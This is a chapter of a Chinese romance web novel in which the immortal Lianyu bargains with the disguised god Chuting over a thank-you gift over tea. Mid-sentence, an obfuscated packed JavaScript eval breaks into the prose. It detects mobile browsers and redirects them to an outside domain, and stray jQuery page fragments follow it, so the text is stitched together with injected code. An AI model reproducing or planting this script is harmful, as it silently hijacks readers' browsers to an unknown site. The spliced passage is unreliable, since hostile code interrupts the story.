9. 他要我送礼!!

作品:《被病娇神君硬塞白月光剧本

    顶着司命殿三位闲杂人等的好奇目光,莲玉硬着头皮将人请进了偏殿茶室。先经了紫薇上神那一遭,又被阴魂不散的褚庭吓了一跳,莲玉本就不那么灵光的脑子彻底成了一滩浆糊。


    莲玉忙请褚庭入座、烧水泡茶,方寸大的地方来回踱步,全然忘了身上的水渍,还是褚庭看不下去,掐了个净衣咒帮她把身上的茶水烘干。


    莲玉讪讪一笑,扯了椅子在他对面坐下,斟酌半天才开口:“不知神君前来有何贵干?”


    褚庭没急着回答她,而是浅呷一口让莲玉心疼又肉疼的金雀舌,天青色的茶盏胎壁近乎透明,衬得他手臂上的皮肤白的刺眼。


    金雀舌入口,并没起到解渴的效果,反而让他喉间更涩。


    茶桌中央摆放的芙蓉石三足熏炉里幽幽散着烟雾,模糊了眼前画面。见他不予回应,莲玉心中更是忐忑,这位神君既不说明来意,又死缠着她不放,连身受重伤还要找上门,莫不是想从她这儿得些好处?


    思及此,莲玉急忙补充了一句:“上次无意中救下神君,也不知神君如今身体安好否?您走的匆忙,落下了这个。”她赶紧从芥子袋中掏出银鱼,望这位神君能记起自己的恩情高抬贵手,千万莫要狮子大开口。


    褚庭撩起眼皮,凝视她掌心内躺着的一尾银鱼,细白肤色衬托下,银鱼颜色更显黯淡,他不动声色地将眼神缓缓上移,直到落入一对担忧又强装镇定的眸子。


    怕他?


    褚庭勾了勾唇角,又立刻抚平,接过银鱼后若无其事地端起茶盏,道:“若无莲玉上神相救,晏和性命危已,在此以茶代酒,谢过莲玉上神救命之恩。”


    “救命之恩?岂敢岂敢。”莲玉连忙端起茶盏回应,这番回答倒是让她松了口气,悬到嗓子眼的心也落到肚子里。既然是个知恩图报之人,想必也做不出押着救命恩人进司法殿受罚的大逆不道之事。


    莲玉紧绷的腰背逐渐放松下来,身子微微后仰,靠在椅背上,注视着垂眸喝茶的男子,柔声询问:“不知晏和神君在何处高就?”


    清平当初那番上门跟褚庭神君认错的言论虽然稚嫩,却并非信口胡诹,事后莲玉仔细思索,倒真让她琢磨出些可行之道来。


    胳膊拗不过大腿,他们与其龟缩在司命殿,不如堂堂正正上门跟苦主认错。至于到底错在哪,这不重要,重要的是褚庭神君能对他们司命殿改观,天界众神能摒弃前嫌。


    但褚庭神君是什么人,那是九重天上仅次于天帝的第二尊贵的神君,跟他们这些朝会都排不进大殿的小仙比起来,可谓是天壤之别。


    因此,绝不可贸贸然上门。


    见茶桌对面的男人眼里带了疑惑,莲玉对他扬起了嘴角,一对莹莹笑眼弯得更深了。初次见到这位神君,他三言两语便能将妖族凰羽公主吓得觳觫不已,身上那股子久居高位的威风劲是怎么也掩饰不住的,官职定然不小。


    再加上自她参加朝会以来,从未见过此人,而他身上的伤,打眼一瞧就是跟妖魔搏斗而受,莲玉敢拍着胸脯保证此人定是哪位神君府上的武神。


    天庭武神统共就那么几位,指不定就能跟那褚庭神君牵上线。


    褚庭默不作声喝完杯中茶水,素来以甘甜闻名的金雀舌也变得索然无味,他放下杯盏的瞬间,便组织好了说辞:“莲玉上神发问,晏和不敢欺瞒,晏和正是褚庭神君座下神将,领一万天兵天将,巡守幽冥血海。不知莲玉上神有何贵干?”


    褚庭话说一半,将主导权交还给莲玉,她本就笑意盈盈的眉眼,彻底成了一弯新月,想瞌睡就有人送枕头,这位神君可真是她的福星,不,是司命殿的福星。


    莲玉坦然道:“想必神君知晓褚庭神君前些日子历劫出了些意外,此事我司命殿责无旁贷。”


    褚庭眼中闪过一丝心虚,但被喜悦冲昏头脑的莲玉丝毫没察觉,兴冲冲地接着道:“只想请您帮忙向神君美言几句,让我们司命殿好跟神君认个错,请他大人有大量,莫要怪罪。”


    言毕,莲玉瞪着一双亮晶晶的眼瞳注视着褚庭,满脸写着望他能答应的期冀。


    褚庭看她满心期待,抿了抿唇,压住心中故意捉弄的促狭,沉声道:“替司命殿向神君传话并非不可,只是……”他故意卖了个关子,将莲玉的心高高吊着,清丽眼眸中的光芒像是风中摇曳的残烛,一会儿亮一会儿暗。


    “只是莲玉上神这次救了我,恰好抵消了水君宴会上晏和替莲玉上神解围一事,不知替司命殿传话一事,莲玉上神打算如何感谢晏和?”


    莲玉傻眼了,一报还一报就罢了,一恩消一恩的说辞亏他也能讲得出口,枉她特意请这位神君坐下喝金雀舌,还冲得那么浓,归根到底就是让她送礼搞这么费劲做甚!


    她眨了眨眼,上扬的唇角也落了下来,这位神君的官职不低,又是在褚庭神君座下,寻常玩意儿自然是入不了他的眼,可太过名贵的稀奇宝物,她也没有啊!


    既然已经撕破了脸,只能硬着头皮往下说了。


    “不知老君的金丹,能否入了神君的眼?”每蹦出一个字,都心疼得莲玉心口直抽抽,老君的金丹她们这些小仙每五百年才得一颗,迄今为止她也仅有一颗,是预备着天劫来临时续命用的。


    褚庭自顾自添了茶水,敛目低眉,悠然啜饮,莲玉觉得自己的心如同他手上茶盏里的碎沫子,随他的呼吸飘荡,寻不到归处。


    少顷,褚庭慢条斯理开口:“莲玉上神说笑了,若您喜欢老君的金丹,不若我遣人送您几瓶,那玩意儿没什么正经用处,当糖豆吃尚且不算糟蹋。”


    好一个财大气粗的做派,莲玉银牙暗咬,咂舌称赞,想他一个神将便如此豪奢,褚庭神君还指不定拿瑶池水泡脚呢!


    心顿时凉了一半,莲玉绞尽脑汁,憋出了另一样东西:“不知东海的夜明珠如何?”她手上的积蓄虽然不多,但若是向濯水三人周转一些,再加上杀价得当,从大荒鬼市买个二手的拳头大小的夜明珠应不是问题。


    褚庭哑然失笑:“莲玉上神好生促狭,您若是喜欢夜明珠,褚庭上神送了我几颗甜瓜大小的。”他逡巡四周,打量着简朴淡雅的司命殿:“称不上与日月同辉,照亮一方茶室应当无忧。”


    莲玉扯了扯嘴角,额角突突直跳,夜明珠也看不上,难不成要她寻什么龙肝凤髓?她自诩没做过什么伤天害理的勾当,登上九重天后也是夹着尾巴做仙,怎么麻烦事一个接一个往她身边凑。


    正苦恼时,莲玉往茶室的博古架


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584434|171667||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上一扫,脑中灵光突现,莲玉愣了一瞬,旋即莞尔道:“不知神君看不看得上《衍天录》?”


    提起《衍天录》,其中可有点门道了。


    莲玉刚进膳房不久,碰上古藤老人问易牙上神借些人手修整藏经阁,莲玉便是其中一员。


    藏经阁中无尘无虫,无需打扫,他们要做的则是探查那些受九重天上灵气滋养的书本是否成了精怪。莲玉在藏经阁忙活了三五日方弄完,得了古藤老人赐予的精萃树汁,有祛腐生肌的疗效。


    原本这件事应到此结束,可不知怎地,莲玉一连几日总听见自己房内有些窸窸窣窣的动静,起身去找,却也找不到根源所在。只能安慰自己,这可是九重天,什么妖魔鬼怪敢擅闯,莫要自己吓自己。


    直到莲玉接连发现自己房中的点心、糖果、蜜饯消失无踪,她专程向红杏仙厨告假,找了个白日蹲守,终于让她抓着了小贼——成了精的《衍天录》。


    莲玉从芥子袋中取出被古藤老人施了封印的《衍天录》,推至褚庭面前:“神君,《衍天录》是藏经阁中孤本,若不是古藤老人见书精与我有缘,定不会将其赠予我。”


    褚庭捡起书本,随意翻阅几页,依然沉默,莲玉从他毫无起伏的眼波中捕捉到了其中暗含的讯息。一本普普通通的天演书籍,在他眼中肯定不是什么稀奇的,莲玉十分气馁,郁气郁结于胸口。


    不出她所料,褚庭将书本轻轻放下,仰靠在椅背,右手握着交椅扶手摩挲,似乎是在思忖该开出什么条件。


    嶙峋的喉结滑动,莲玉的视线从藏蓝色绣着梅枝的衣襟领口向下,宽厚的胸膛微微起伏,呼吸沉稳,领口整齐贴在身上,露出一指宽的素白里衣。


    古板,却让人更想深究。


    尤其是已经被她深究过了。


    莲玉脑海中浮现一幕幕旖旎的画面,面上难免有些燥热,赶紧挪开目光,轻声催促:“不知神君可想好了?”


    褚庭倾身向前,倏地靠近毫无防备的莲玉,莲玉一双圆眼陡然瞪大,眸底映着他的倒影,仿佛他能一口吃了她,褚庭心情瞬间大好。


    靠的太近,莲玉闻见了那股曾残存她手指间,洗濯多次不散的旃檀香,莫名有些口干。


    “我想好了,不如莲玉上神帮我做一道点心?”


    “点心?”莲玉抬起眼眸,好奇地盯着他。吃点心不去膳房,来司命殿作甚,难不成知道她在膳房待过些日子,故意折辱她?


    褚庭看她脸上忽白忽红、拿不定主意的惶惶神情,心头涌上一股逗弄鸟雀的快意,放缓了声音:“不是什么稀罕东西,就是最寻常的杏仁牛乳酥酪,但必须是莲玉上神亲手做的。”


    “亲手做的”四个字语气更重,似是在强调,也像威胁。眼神毫不掩饰展露上位者的傲慢,像是缓缓提起的渔网,让人在不知不觉间便落入了他设下的陷阱。


    “嗯?”嗓子里冒出一声慵懒的轻哼,褚庭身子后仰、斜倚在圈椅上,眯起眼睛静待她的回答。


    原本板板正正贴在身上的衣襟随着动作露出一截锁骨,看似瘦弱,可莲玉知晓这均是假象,肤色极白,仿若无人踏足的高山之雪,触感也同雪一般寒,莲玉心跳骤然加快,连忙偏过头,不敢再与之对视。